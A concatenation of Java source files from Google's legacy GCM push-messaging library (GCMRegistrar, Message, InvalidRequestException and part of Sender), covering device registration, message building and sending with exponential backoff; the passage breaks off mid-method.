private static final String PROPERTY_APP_VERSION = "appVersion";
private static final String PROPERTY_ON_SERVER = "onServer";
private static final String PROPERTY_ON_SERVER_EXPIRATION_TIME =
"onServerExpirationTime";
private static final String PROPERTY_ON_SERVER_LIFESPAN =
"onServerLifeSpan";
/**
* {@link GCMBroadcastReceiver} instance used to handle the retry intent.
*
* <p>
* This instance cannot be the same as the one defined in the manifest
* because it needs a different permission.
*/
// guarded by GCMRegistrar.class
private static GCMBroadcastReceiver sRetryReceiver;
// guarded by GCMRegistrar.class
private static Context sRetryReceiverContext;
// guarded by GCMRegistrar.class
private static String sRetryReceiverClassName;
// guarded by GCMRegistrar.class
private static PendingIntent sAppPendingIntent;
/**
* Checks if the device has the proper dependencies installed.
* <p>
* This method should be called when the application starts to verify that
* the device supports GCM.
*
* @param context application context.
* @throws UnsupportedOperationException if the device does not support GCM.
*/
public static void checkDevice(Context context) {
int version = Build.VERSION.SDK_INT;
if (version < 8) {
throw new UnsupportedOperationException("Device must be at least " +
"API Level 8 (instead of " + version + ")");
}
PackageManager packageManager = context.getPackageManager();
try {
packageManager.getPackageInfo(GSF_PACKAGE, 0);
} catch (NameNotFoundException e) {
throw new UnsupportedOperationException(
"Device does not have package " + GSF_PACKAGE);
}
}
/**
* Checks that the application manifest is properly configured.
* <p>
* A proper configuration means:
* <ol>
* <li>It creates a custom permission called
* {@code PACKAGE_NAME.permission.C2D_MESSAGE}.
* <li>It defines at least one {@link BroadcastReceiver} with category
* {@code PACKAGE_NAME}.
* <li>The {@link BroadcastReceiver}(s) uses the
* {@value com.google.android.gcm.GCMConstants#PERMISSION_GCM_INTENTS}
* permission.
* <li>The {@link BroadcastReceiver}(s) handles the 2 GCM intents
* ({@value com.google.android.gcm.GCMConstants#INTENT_FROM_GCM_MESSAGE}
* and
* {@value com.google.android.gcm.GCMConstants#INTENT_FROM_GCM_REGISTRATION_CALLBACK}).
* </ol>
* ...where {@code PACKAGE_NAME} is the application package.
* <p>
* This method should be used during development time to verify that the
* manifest is properly set up, but it doesn't need to be called once the
* application is deployed to the users' devices.
*
* @param context application context.
* @throws IllegalStateException if any of the conditions above is not met.
*/
public static void checkManifest(Context context) {
PackageManager packageManager = context.getPackageManager();
String packageName = context.getPackageName();
String permissionName = packageName + ".permission.C2D_MESSAGE";
// check permission
try {
packageManager.getPermissionInfo(permissionName,
PackageManager.GET_PERMISSIONS);
} catch (NameNotFoundException e) {
throw new IllegalStateException(
"Application does not define permission " + permissionName);
}
// check receivers
PackageInfo receiversInfo;
try {
receiversInfo = packageManager.getPackageInfo(
packageName, PackageManager.GET_RECEIVERS);
} catch (NameNotFoundException e) {
throw new IllegalStateException(
"Could not get receivers for package " + packageName);
}
ActivityInfo[] receivers = receiversInfo.receivers;
if (receivers == null || receivers.length == 0) {
throw new IllegalStateException("No receiver for package " +
packageName);
}
log(context, Log.VERBOSE, "number of receivers for %s: %d",
packageName, receivers.length);
Set<String> allowedReceivers = new HashSet<String>();
for (ActivityInfo receiver : receivers) {
if (GCMConstants.PERMISSION_GCM_INTENTS.equals(
receiver.permission)) {
allowedReceivers.add(receiver.name);
}
}
if (allowedReceivers.isEmpty()) {
throw new IllegalStateException("No receiver allowed to receive " +
GCMConstants.PERMISSION_GCM_INTENTS);
}
checkReceiver(context, allowedReceivers,
GCMConstants.INTENT_FROM_GCM_REGISTRATION_CALLBACK);
checkReceiver(context, allowedReceivers,
GCMConstants.INTENT_FROM_GCM_MESSAGE);
}
private static void checkReceiver(Context context,
Set<String> allowedReceivers, String action) {
PackageManager pm = context.getPackageManager();
String packageName = context.getPackageName();
Intent intent = new Intent(action);
intent.setPackage(packageName);
List<ResolveInfo> receivers = pm.queryBroadcastReceivers(intent,
PackageManager.GET_INTENT_FILTERS);
if (receivers.isEmpty()) {
throw new IllegalStateException("No receivers for action " +
action);
}
log(context, Log.VERBOSE, "Found %d receivers for action %s",
receivers.size(), action);
// make sure receivers match
for (ResolveInfo receiver : receivers) {
String name = receiver.activityInfo.name;
if (!allowedReceivers.contains(name)) {
throw new IllegalStateException("Receiver " + name +
" is not set with permission " +
GCMConstants.PERMISSION_GCM_INTENTS);
}
}
}
/**
* Initiate messaging registration for the current application.
* <p>
* The result will be returned as an
* {@link GCMConstants#INTENT_FROM_GCM_REGISTRATION_CALLBACK} intent with
* either a {@link GCMConstants#EXTRA_REGISTRATION_ID} or
* {@link GCMConstants#EXTRA_ERROR}.
*
* @param context application context.
* @param senderIds Google Project ID of the accounts authorized to send
* messages to this application.
* @throws IllegalStateException if device does not have all GCM
* dependencies installed.
*/
public static void register(Context context, String... senderIds) {
GCMRegistrar.resetBackoff(context);
internalRegister(context, senderIds);
}
static void internalRegister(Context context, String... senderIds) {
String flatSenderIds = getFlatSenderIds(senderIds);
log(context, Log.VERBOSE, "Registering app for senders %s",
flatSenderIds);
Intent intent = new Intent(GCMConstants.INTENT_TO_GCM_REGISTRATION);
intent.setPackage(GSF_PACKAGE);
setPackageNameExtra(context, intent);
intent.putExtra(GCMConstants.EXTRA_SENDER, flatSenderIds);
context.startService(intent);
}
/**
* Unregister the application.
* <p>
* The result will be returned as an
* {@link GCMConstants#INTENT_FROM_GCM_REGISTRATION_CALLBACK} intent with an
* {@link GCMConstants#EXTRA_UNREGISTERED} extra.
*/
public static void unregister(Context context) {
GCMRegistrar.resetBackoff(context);
internalUnregister(context);
}
static void internalUnregister(Context context) {
log(context, Log.VERBOSE, "Unregistering app");
Intent intent = new Intent(GCMConstants.INTENT_TO_GCM_UNREGISTRATION);
intent.setPackage(GSF_PACKAGE);
setPackageNameExtra(context, intent);
context.startService(intent);
}
static String getFlatSenderIds(String... senderIds) {
if (senderIds == null || senderIds.length == 0) {
throw new IllegalArgumentException("No senderIds");
}
StringBuilder builder = new StringBuilder(senderIds[0]);
for (int i = 1; i < senderIds.length; i++) {
builder.append(',').append(senderIds[i]);
}
return builder.toString();
}
/**
* Clear internal resources.
*
* <p>
* This method should be called by the main activity's {@code onDestroy()}
* method.
*/
public static synchronized void onDestroy(Context context) {
if (sRetryReceiver != null) {
log(context, Log.VERBOSE, "Unregistering retry receiver");
sRetryReceiverContext.unregisterReceiver(sRetryReceiver);
sRetryReceiver = null;
sRetryReceiverContext = null;
}
}
static synchronized void cancelAppPendingIntent() {
if (sAppPendingIntent != null) {
sAppPendingIntent.cancel();
sAppPendingIntent = null;
}
}
private synchronized static void setPackageNameExtra(Context context,
Intent intent) {
if (sAppPendingIntent == null) {
log(context, Log.VERBOSE,
"Creating pending intent to get package name");
sAppPendingIntent = PendingIntent.getBroadcast(context, 0,
new Intent(), 0);
}
intent.putExtra(GCMConstants.EXTRA_APPLICATION_PENDING_INTENT,
sAppPendingIntent);
}
/**
* Lazy initializes the {@link GCMBroadcastReceiver} instance.
*/
static synchronized void setRetryBroadcastReceiver(Context context) {
if (sRetryReceiver == null) {
if (sRetryReceiverClassName == null) {
// should never happen
log(context, Log.ERROR,
"internal error: retry receiver class not set yet");
sRetryReceiver = new GCMBroadcastReceiver();
} else {
Class<?> clazz;
try {
clazz = Class.forName(sRetryReceiverClassName);
sRetryReceiver = (GCMBroadcastReceiver) clazz.newInstance();
} catch (Exception e) {
log(context, Log.ERROR, "Could not create instance of %s. "
+ "Using %s directly.", sRetryReceiverClassName,
GCMBroadcastReceiver.class.getName());
sRetryReceiver = new GCMBroadcastReceiver();
}
}
String category = context.getPackageName();
IntentFilter filter = new IntentFilter(
GCMConstants.INTENT_FROM_GCM_LIBRARY_RETRY);
filter.addCategory(category);
log(context, Log.VERBOSE, "Registering retry receiver");
sRetryReceiverContext = context;
sRetryReceiverContext.registerReceiver(sRetryReceiver, filter);
}
}
/**
* Sets the name of the retry receiver class.
*/
static synchronized void setRetryReceiverClassName(Context context,
String className) {
log(context, Log.VERBOSE,
"Setting the name of retry receiver class to %s", className);
sRetryReceiverClassName = className;
}
/**
* Gets the current registration id for application on GCM service.
* <p>
* If result is empty, the registration has failed.
*
* @return registration id, or empty string if the registration is not
* complete.
*/
public static String getRegistrationId(Context context) {
final SharedPreferences prefs = getGCMPreferences(context);
String registrationId = prefs.getString(PROPERTY_REG_ID, "");
// check if app was updated; if so, it must clear registration id to
// avoid a race condition if GCM sends a message
int oldVersion = prefs.getInt(PROPERTY_APP_VERSION, Integer.MIN_VALUE);
int newVersion = getAppVersion(context);
if (oldVersion != Integer.MIN_VALUE && oldVersion != newVersion) {
log(context, Log.VERBOSE, "App version changed from %d to %d;"
+ "resetting registration id", oldVersion, newVersion);
clearRegistrationId(context);
registrationId = "";
}
return registrationId;
}
/**
* Checks whether the application was successfully registered on GCM
* service.
*/
public static boolean isRegistered(Context context) {
return getRegistrationId(context).length() > 0;
}
/**
* Clears the registration id in the persistence store.
*
* <p>As a side-effect, it also expires the registeredOnServer property.
*
* @param context application's context.
* @return old registration id.
*/
static String clearRegistrationId(Context context) {
setRegisteredOnServer(context, null, 0);
return setRegistrationId(context, "");
}
/**
* Sets the registration id in the persistence store.
*
* @param context application's context.
* @param regId registration id
*/
static String setRegistrationId(Context context, String regId) {
final SharedPreferences prefs = getGCMPreferences(context);
String oldRegistrationId = prefs.getString(PROPERTY_REG_ID, "");
int appVersion = getAppVersion(context);
log(context, Log.VERBOSE, "Saving regId on app version %d", appVersion);
Editor editor = prefs.edit();
editor.putString(PROPERTY_REG_ID, regId);
editor.putInt(PROPERTY_APP_VERSION, appVersion);
editor.commit();
return oldRegistrationId;
}
/**
* Sets whether the device was successfully registered in the server side.
*/
public static void setRegisteredOnServer(Context context, boolean flag) {
// set the flag's expiration date
long lifespan = getRegisterOnServerLifespan(context);
long expirationTime = System.currentTimeMillis() + lifespan;
setRegisteredOnServer(context, flag, expirationTime);
}
private static void setRegisteredOnServer(Context context, Boolean flag,
long expirationTime) {
final SharedPreferences prefs = getGCMPreferences(context);
Editor editor = prefs.edit();
if (flag != null) {
editor.putBoolean(PROPERTY_ON_SERVER, flag);
log(context, Log.VERBOSE,
"Setting registeredOnServer flag as %b until %s",
flag, new Timestamp(expirationTime));
} else {
log(context, Log.VERBOSE,
"Setting registeredOnServer expiration to %s",
new Timestamp(expirationTime));
}
editor.putLong(PROPERTY_ON_SERVER_EXPIRATION_TIME, expirationTime);
editor.commit();
}
/**
* Checks whether the device was successfully registered in the server side,
* as set by {@link #setRegisteredOnServer(Context, boolean)}.
*
* <p>To avoid the scenario where the device sends the registration to the
* server but the server loses it, this flag has an expiration date, which
* is {@link #DEFAULT_ON_SERVER_LIFESPAN_MS} by default (but can be changed
* by {@link #setRegisterOnServerLifespan(Context, long)}).
*/
public static boolean isRegisteredOnServer(Context context) {
final SharedPreferences prefs = getGCMPreferences(context);
boolean isRegistered = prefs.getBoolean(PROPERTY_ON_SERVER, false);
log(context, Log.VERBOSE, "Is registered on server: %b", isRegistered);
if (isRegistered) {
// checks if the information is not stale
long expirationTime =
prefs.getLong(PROPERTY_ON_SERVER_EXPIRATION_TIME, -1);
if (System.currentTimeMillis() > expirationTime) {
log(context, Log.VERBOSE, "flag expired on: %s",
new Timestamp(expirationTime));
return false;
}
}
return isRegistered;
}
/**
* Gets how long (in milliseconds) the {@link #isRegistered(Context)}
* property is valid.
*
* @return value set by {@link #setRegisteredOnServer(Context, boolean)} or
* {@link #DEFAULT_ON_SERVER_LIFESPAN_MS} if not set.
*/
public static long getRegisterOnServerLifespan(Context context) {
final SharedPreferences prefs = getGCMPreferences(context);
long lifespan = prefs.getLong(PROPERTY_ON_SERVER_LIFESPAN,
DEFAULT_ON_SERVER_LIFESPAN_MS);
return lifespan;
}
/**
* Sets how long (in milliseconds) the {@link #isRegistered(Context)}
* flag is valid.
*/
public static void setRegisterOnServerLifespan(Context context,
long lifespan) {
final SharedPreferences prefs = getGCMPreferences(context);
Editor editor = prefs.edit();
editor.putLong(PROPERTY_ON_SERVER_LIFESPAN, lifespan);
editor.commit();
}
/**
* Gets the application version.
*/
private static int getAppVersion(Context context) {
try {
PackageInfo packageInfo = context.getPackageManager()
.getPackageInfo(context.getPackageName(), 0);
return packageInfo.versionCode;
} catch (NameNotFoundException e) {
// should never happen
throw new RuntimeException("Coult not get package name: " + e);
}
}
/**
* Resets the backoff counter.
* <p>
* This method should be called after a GCM call succeeds.
*
* @param context application's context.
*/
static void resetBackoff(Context context) {
log(context, Log.VERBOSE, "Resetting backoff");
setBackoff(context, DEFAULT_BACKOFF_MS);
}
/**
* Gets the current backoff counter.
*
* @param context application's context.
* @return current backoff counter, in milliseconds.
*/
static int getBackoff(Context context) {
final SharedPreferences prefs = getGCMPreferences(context);
return prefs.getInt(BACKOFF_MS, DEFAULT_BACKOFF_MS);
}
/**
* Sets the backoff counter.
* <p>
* This method should be called after a GCM call fails, passing an
* exponential value.
*
* @param context application's context.
* @param backoff new backoff counter, in milliseconds.
*/
static void setBackoff(Context context, int backoff) {
final SharedPreferences prefs = getGCMPreferences(context);
Editor editor = prefs.edit();
editor.putInt(BACKOFF_MS, backoff);
editor.commit();
}
private static SharedPreferences getGCMPreferences(Context context) {
return context.getSharedPreferences(PREFERENCES, Context.MODE_PRIVATE);
}
/**
* Logs a message on logcat.
*
* @param context application's context.
* @param priority logging priority
* @param template message's template
* @param args list of arguments
*/
private static void log(Context context, int priority, String template,
Object... args) {
if (Log.isLoggable(TAG, priority)) {
String message = String.format(template, args);
Log.println(priority, TAG, "[" + context.getPackageName() + "]: "
+ message);
}
}
private GCMRegistrar() {
throw new UnsupportedOperationException();
}
}
| Java |
/*
* Copyright 2012 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not
* use this file except in compliance with the License. You may obtain a copy of
* the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.google.android.gcm.server;
import java.io.Serializable;
import java.util.Collections;
import java.util.LinkedHashMap;
import java.util.Map;
/**
* GCM message.
*
* <p>
* Instances of this class are immutable and should be created using a
* {@link Builder}. Examples:
*
* <strong>Simplest message:</strong>
* <pre><code>
* Message message = new Message.Builder().build();
* </pre></code>
*
* <strong>Message with optional attributes:</strong>
* <pre><code>
* Message message = new Message.Builder()
* .collapseKey(collapseKey)
* .timeToLive(3)
* .delayWhileIdle(true)
* .dryRun(true)
* .restrictedPackageName(restrictedPackageName)
* .build();
* </pre></code>
*
* <strong>Message with optional attributes and payload data:</strong>
* <pre><code>
* Message message = new Message.Builder()
* .collapseKey(collapseKey)
* .timeToLive(3)
* .delayWhileIdle(true)
* .dryRun(true)
* .restrictedPackageName(restrictedPackageName)
* .addData("key1", "value1")
* .addData("key2", "value2")
* .build();
* </pre></code>
*/
public final class Message implements Serializable {
private final String collapseKey;
private final Boolean delayWhileIdle;
private final Integer timeToLive;
private final Map<String, String> data;
private final Boolean dryRun;
private final String restrictedPackageName;
public static final class Builder {
private final Map<String, String> data;
// optional parameters
private String collapseKey;
private Boolean delayWhileIdle;
private Integer timeToLive;
private Boolean dryRun;
private String restrictedPackageName;
public Builder() {
this.data = new LinkedHashMap<String, String>();
}
/**
* Sets the collapseKey property.
*/
public Builder collapseKey(String value) {
collapseKey = value;
return this;
}
/**
* Sets the delayWhileIdle property (default value is {@literal false}).
*/
public Builder delayWhileIdle(boolean value) {
delayWhileIdle = value;
return this;
}
/**
* Sets the time to live, in seconds.
*/
public Builder timeToLive(int value) {
timeToLive = value;
return this;
}
/**
* Adds a key/value pair to the payload data.
*/
public Builder addData(String key, String value) {
data.put(key, value);
return this;
}
/**
* Sets the dryRun property (default value is {@literal false}).
*/
public Builder dryRun(boolean value) {
dryRun = value;
return this;
}
/**
* Sets the restrictedPackageName property.
*/
public Builder restrictedPackageName(String value) {
restrictedPackageName = value;
return this;
}
public Message build() {
return new Message(this);
}
}
private Message(Builder builder) {
collapseKey = builder.collapseKey;
delayWhileIdle = builder.delayWhileIdle;
data = Collections.unmodifiableMap(builder.data);
timeToLive = builder.timeToLive;
dryRun = builder.dryRun;
restrictedPackageName = builder.restrictedPackageName;
}
/**
* Gets the collapse key.
*/
public String getCollapseKey() {
return collapseKey;
}
/**
* Gets the delayWhileIdle flag.
*/
public Boolean isDelayWhileIdle() {
return delayWhileIdle;
}
/**
* Gets the time to live (in seconds).
*/
public Integer getTimeToLive() {
return timeToLive;
}
/**
* Gets the dryRun flag.
*/
public Boolean isDryRun() {
return dryRun;
}
/**
* Gets the restricted package name.
*/
public String getRestrictedPackageName() {
return restrictedPackageName;
}
/**
* Gets the payload data, which is immutable.
*/
public Map<String, String> getData() {
return data;
}
@Override
public String toString() {
StringBuilder builder = new StringBuilder("Message(");
if (collapseKey != null) {
builder.append("collapseKey=").append(collapseKey).append(", ");
}
if (timeToLive != null) {
builder.append("timeToLive=").append(timeToLive).append(", ");
}
if (delayWhileIdle != null) {
builder.append("delayWhileIdle=").append(delayWhileIdle).append(", ");
}
if (dryRun != null) {
builder.append("dryRun=").append(dryRun).append(", ");
}
if (restrictedPackageName != null) {
builder.append("restrictedPackageName=").append(restrictedPackageName).append(", ");
}
if (!data.isEmpty()) {
builder.append("data: {");
for (Map.Entry<String, String> entry : data.entrySet()) {
builder.append(entry.getKey()).append("=").append(entry.getValue())
.append(",");
}
builder.delete(builder.length() - 1, builder.length());
builder.append("}");
}
if (builder.charAt(builder.length() - 1) == ' ') {
builder.delete(builder.length() - 2, builder.length());
}
builder.append(")");
return builder.toString();
}
}
| Java |
/*
* Copyright 2012 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not
* use this file except in compliance with the License. You may obtain a copy of
* the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.google.android.gcm.server;
import java.io.IOException;
/**
* Exception thrown when GCM returned an error due to an invalid request.
* <p>
* This is equivalent to GCM posts that return an HTTP error different of 200.
*/
public final class InvalidRequestException extends IOException {
private final int status;
private final String description;
public InvalidRequestException(int status) {
this(status, null);
}
public InvalidRequestException(int status, String description) {
super(getMessage(status, description));
this.status = status;
this.description = description;
}
private static String getMessage(int status, String description) {
StringBuilder base = new StringBuilder("HTTP Status Code: ").append(status);
if (description != null) {
base.append("(").append(description).append(")");
}
return base.toString();
}
/**
* Gets the HTTP Status Code.
*/
public int getHttpStatusCode() {
return status;
}
/**
* Gets the error description.
*/
public String getDescription() {
return description;
}
}
| Java |
/*
* Copyright 2012 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not
* use this file except in compliance with the License. You may obtain a copy of
* the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.google.android.gcm.server;
import static com.google.android.gcm.server.Constants.GCM_SEND_ENDPOINT;
import static com.google.android.gcm.server.Constants.JSON_CANONICAL_IDS;
import static com.google.android.gcm.server.Constants.JSON_ERROR;
import static com.google.android.gcm.server.Constants.JSON_FAILURE;
import static com.google.android.gcm.server.Constants.JSON_MESSAGE_ID;
import static com.google.android.gcm.server.Constants.JSON_MULTICAST_ID;
import static com.google.android.gcm.server.Constants.JSON_PAYLOAD;
import static com.google.android.gcm.server.Constants.JSON_REGISTRATION_IDS;
import static com.google.android.gcm.server.Constants.JSON_RESULTS;
import static com.google.android.gcm.server.Constants.JSON_SUCCESS;
import static com.google.android.gcm.server.Constants.PARAM_COLLAPSE_KEY;
import static com.google.android.gcm.server.Constants.PARAM_DELAY_WHILE_IDLE;
import static com.google.android.gcm.server.Constants.PARAM_DRY_RUN;
import static com.google.android.gcm.server.Constants.PARAM_PAYLOAD_PREFIX;
import static com.google.android.gcm.server.Constants.PARAM_REGISTRATION_ID;
import static com.google.android.gcm.server.Constants.PARAM_RESTRICTED_PACKAGE_NAME;
import static com.google.android.gcm.server.Constants.PARAM_TIME_TO_LIVE;
import static com.google.android.gcm.server.Constants.TOKEN_CANONICAL_REG_ID;
import static com.google.android.gcm.server.Constants.TOKEN_ERROR;
import static com.google.android.gcm.server.Constants.TOKEN_MESSAGE_ID;
import com.google.android.gcm.server.Result.Builder;
import org.json.simple.JSONObject;
import org.json.simple.JSONValue;
import org.json.simple.parser.JSONParser;
import org.json.simple.parser.ParseException;
import java.io.BufferedReader;
import java.io.Closeable;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLEncoder;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.Map.Entry;
import java.util.Random;
import java.util.logging.Level;
import java.util.logging.Logger;
/**
* Helper class to send messages to the GCM service using an API Key.
*/
public class Sender {
protected static final String UTF8 = "UTF-8";
/**
* Initial delay before first retry, without jitter.
*/
protected static final int BACKOFF_INITIAL_DELAY = 1000;
/**
* Maximum delay before a retry.
*/
protected static final int MAX_BACKOFF_DELAY = 1024000;
protected final Random random = new Random();
protected static final Logger logger =
Logger.getLogger(Sender.class.getName());
private final String key;
/**
* Default constructor.
*
* @param key API key obtained through the Google API Console.
*/
public Sender(String key) {
this.key = nonNull(key);
}
/**
* Sends a message to one device, retrying in case of unavailability.
*
* <p>
* <strong>Note: </strong> this method uses exponential back-off to retry in
* case of service unavailability and hence could block the calling thread
* for many seconds.
*
* @param message message to be sent, including the device's registration id.
* @param registrationId device where the message will be sent.
* @param retries number of retries in case of service unavailability errors.
*
* @return result of the request (see its javadoc for more details).
*
* @throws IllegalArgumentException if registrationId is {@literal null}.
* @throws InvalidRequestException if GCM didn't returned a 200 or 5xx status.
* @throws IOException if message could not be sent.
*/
public Result send(Message message, String registrationId, int retries)
throws IOException {
int attempt = 0;
Result result = null;
int backoff = BACKOFF_INITIAL_DELAY;
boolean tryAgain;
do {
attempt++;
if (logger.isLoggable(Level.FINE)) {
logger.fine("Attempt #" + attempt + " to send message " +
message + " to regIds " + registrationId);
}
result = sendNoRetry(message, registrationId);
tryAgain = result == null && attempt <= retries;
if (tryAgain) {
int sleepTime = backoff / 2 + random.nextInt(backoff);
sleep(sleepTime);
if (2 * backoff < MAX_BACKOFF_DELAY) {
backoff *= 2;
}
}
} while (tryAgain);
if (result == null) {
throw new IOException("Could not send message after " + attempt +
" attempts");
}
return result;
}
/**
* Sends a message without retrying in case of service unavailability. See
* {@link #send(Message, String, int)} for more info.
*
* @return result of the post, or {@literal null} if the GCM service was
* unavailable or any network exception caused the request to fail.
*
* @throws InvalidRequestException if GCM didn't returned a 200 or 5xx status.
* @throws IllegalArgumentException if registrationId is {@literal null}.
*/
public Result sendNoRetry(Message message, String registrationId)
throws IOException {
StringBuilder body = newBody(PARAM_REGISTRATION_ID, registrationId);
Boolean delayWhileIdle = message.isDelayWhileIdle();
if (delayWhileIdle != null) {
addParameter(body, PARAM_DELAY_WHILE_IDLE, delayWhileIdle ? "1" : "0");
}
Boolean dryRun = message.isDryRun();
if (dryRun != null) {
addParameter(body, PARAM_DRY_RUN, dryRun ? "1" : "0");
}
String collapseKey = message.getCollapseKey();
if (collapseKey != null) {
addParameter(body, PARAM_COLLAPSE_KEY, collapseKey);
}
String restrictedPackageName = message.getRestrictedPackageName();
if (restrictedPackageName != null) {
addParameter(body, PARAM_RESTRICTED_PACKAGE_NAME, restrictedPackageName);
}
Integer timeToLive = message.getTimeToLive();
if (timeToLive != null) {
addParameter(body, PARAM_TIME_TO_LIVE, Integer.toString(timeToLive));
}
for (Entry<String, String> entry : message.getData().entrySet()) {
String key = entry.getKey();
String value = entry.getValue();
if (key == null || value == null) {
logger.warning("Ignoring payload entry thas has null: " + entry);
} else {
key = PARAM_PAYLOAD_PREFIX + key;
addParameter(body, key, URLEncoder.encode(value, UTF8));
}
}
String requestBody = body.toString();
logger.finest("Request body: " + requestBody);
HttpURLConnection conn;
int status;
try {
conn = post(GCM_SEND_ENDPOINT, requestBody);
status = conn.getResponseCode();
} catch (IOException e) {
logger.log(Level.FINE, "IOException posting to GCM", e);
return null;
}
if (status / 100 == 5) {
logger.fine("GCM service is unavailable (status " + status + ")");
return null;
}
String responseBody;
if (status != 200) {
try {
responseBody = getAndClose(conn.getErrorStream());
logger.finest("Plain post error response: " + responseBody);
} catch (IOException e) {
// ignore the exception since it will thrown an InvalidRequestException
// anyways
responseBody = "N/A";
logger.log(Level.FINE, "Exception reading response: ", e);
}
throw new InvalidRequestException(status, responseBody);
} else {
try {
responseBody = getAndClose(conn.getInputStream());
} catch (IOException e) {
logger.log(Level.WARNING, "Exception reading response: ", e);
// return null so it can retry
return null;
}
}
String[] lines = responseBody.split("\n");
if (lines.length == 0 || lines[0].equals("")) {
throw new IOException("Received empty response from GCM service.");
}
String firstLine = lines[0];
String[] responseParts = split(firstLine);
String token = responseParts[0];
String value = responseParts[1];
if (token.equals(TOKEN_MESSAGE_ID)) {
Builder builder = new Result.Builder().messageId(value);
// check for canonical registration id
if (lines.length > 1) {
String secondLine = lines[1];
responseParts = split(secondLine);
token = responseParts[0];
value = responseParts[1];
if (token.equals(TOKEN_CANONICAL_REG_ID)) {
builder.canonicalRegistrationId(value);
} else {
logger.warning("Invalid response from GCM: " + responseBody);
}
}
Result result = builder.build();
if (logger.isLoggable(Level.FINE)) {
logger.fine("Message created succesfully (" + result + ")");
}
return result;
} else if (token.equals(TOKEN_ERROR)) {
return new Result.Builder().errorCode(value).build();
} else {
throw new IOException("Invalid response from GCM: " + responseBody);
}
}
/**
* Sends a message to many devices, retrying in case of unavailability.
*
* <p>
* <strong>Note: </strong> this method uses exponential back-off to retry in
* case of service unavailability and hence could block the calling thread
* for many seconds.
*
* @param message message to be sent.
* @param regIds registration id of the devices that will receive
* the message.
* @param retries number of retries in case of service unavailability errors.
*
* @return combined result of all requests made.
*
* @throws IllegalArgumentException if registrationIds is {@literal null} or
* empty.
* @throws InvalidRequestException if GCM didn't returned a 200 or 503 status.
* @throws IOException if message could not be sent.
*/
public MulticastResult send(Message message, List<String> regIds, int retries)
throws IOException {
int attempt = 0;
MulticastResult multicastResult;
int backoff = BACKOFF_INITIAL_DELAY;
// Map of results by registration id, it will be updated after each attempt
// to send the messages
Map<String, Result> results = new HashMap<String, Result>();
List<String> unsentRegIds = new ArrayList<String>(regIds);
boolean tryAgain;
List<Long> multicastIds = new ArrayList<Long>();
do {
multicastResult = null;
attempt++;
if (logger.isLoggable(Level.FINE)) {
logger.fine("Attempt #" + attempt + " to send message " +
message + " to regIds " + unsentRegIds);
}
try {
multicastResult = sendNoRetry(message, unsentRegIds);
} catch(IOException e) {
// no need for WARNING since exception might be already logged
logger.log(Level.FINEST, "IOException on attempt " + attempt, e);
}
if (multicastResult != null) {
long multicastId = multicastResult.getMulticastId();
logger.fine("multicast_id on attempt # " + attempt + ": " +
multicastId);
multicastIds.add(multicastId);
unsentRegIds = updateStatus(unsentRegIds, results, multicastResult);
tryAgain = !unsentRegIds.isEmpty() && attempt <= retries;
} else {
tryAgain = attempt <= retries;
}
if (tryAgain) {
int sleepTime = backoff / 2 + random.nextInt(backoff);
sleep(sleepTime);
if (2 * backoff < MAX_BACKOFF_DELAY) {
backoff *= 2;
}
}
} while (tryAgain);
if (multicastIds.isEmpty()) {
// all JSON posts failed due to GCM unavailability
throw new IOException("Could not post JSON requests to GCM after "
+ attempt + " attempts");
}
// calculate summary
int success = 0, failure = 0 , canonicalIds = 0;
for (Result result : results.values()) {
if (result.getMessageId() != null) {
success++;
if (result.getCanonicalRegistrationId() != null) {
canonicalIds++;
}
} else {
failure++;
}
}
// build a new object with the overall result
long multicastId = multicastIds.remove(0);
MulticastResult.Builder builder = new MulticastResult.Builder(success,
failure, canonicalIds, multicastId).retryMulticastIds(multicastIds);
// add results, in the same order as the input
for (String regId : regIds) {
Result result = results.get(regId);
builder.addResult(result);
}
return builder.build();
}
/**
* Updates the status of the messages sent to devices and the list of devices
* that should be retried.
*
* @param unsentRegIds list of devices that are still pending an update.
* @param allResults map of status that will be updated.
* @param multicastResult result of the last multicast sent.
*
* @return updated version of devices that should be retried.
*/
private List<String> updateStatus(List<String> unsentRegIds,
Map<String, Result> allResults, MulticastResult multicastResult) {
List<Result> results = multicastResult.getResults();
if (results.size() != unsentRegIds.size()) {
// should never happen, unless there is a flaw in the algorithm
throw new RuntimeException("Internal error: sizes do not match. " +
"currentResults: " + results + "; unsentRegIds: " + unsentRegIds);
}
List<String> newUnsentRegIds = new ArrayList<String>();
for (int i = 0; i < unsentRegIds.size(); i++) {
String regId = unsentRegIds.get(i);
Result result = results.get(i);
allResults.put(regId, result);
String error = result.getErrorCodeName();
if (error != null && (error.equals(Constants.ERROR_UNAVAILABLE)
|| error.equals(Constants.ERROR_INTERNAL_SERVER_ERROR))) {
newUnsentRegIds.add(regId);
}
}
return newUnsentRegIds;
}
/**
* Sends a message without retrying in case of service unavailability. See
* {@link #send(Message, List, int)} for more info.
*
* @return multicast results if the message was sent successfully,
* {@literal null} if it failed but could be retried.
*
* @throws IllegalArgumentException if registrationIds is {@literal null} or
* empty.
* @throws InvalidRequestException if GCM didn't returned a 200 status.
* @throws IOException if there was a JSON parsing error
*/
public MulticastResult sendNoRetry(Message message,
List<String> registrationIds) throws IOException {
if (nonNull(registrationIds).isEmpty()) {
throw new IllegalArgumentException("registrationIds cannot be empty");
}
Map<Object, Object> jsonRequest = new HashMap<Object, Object>();
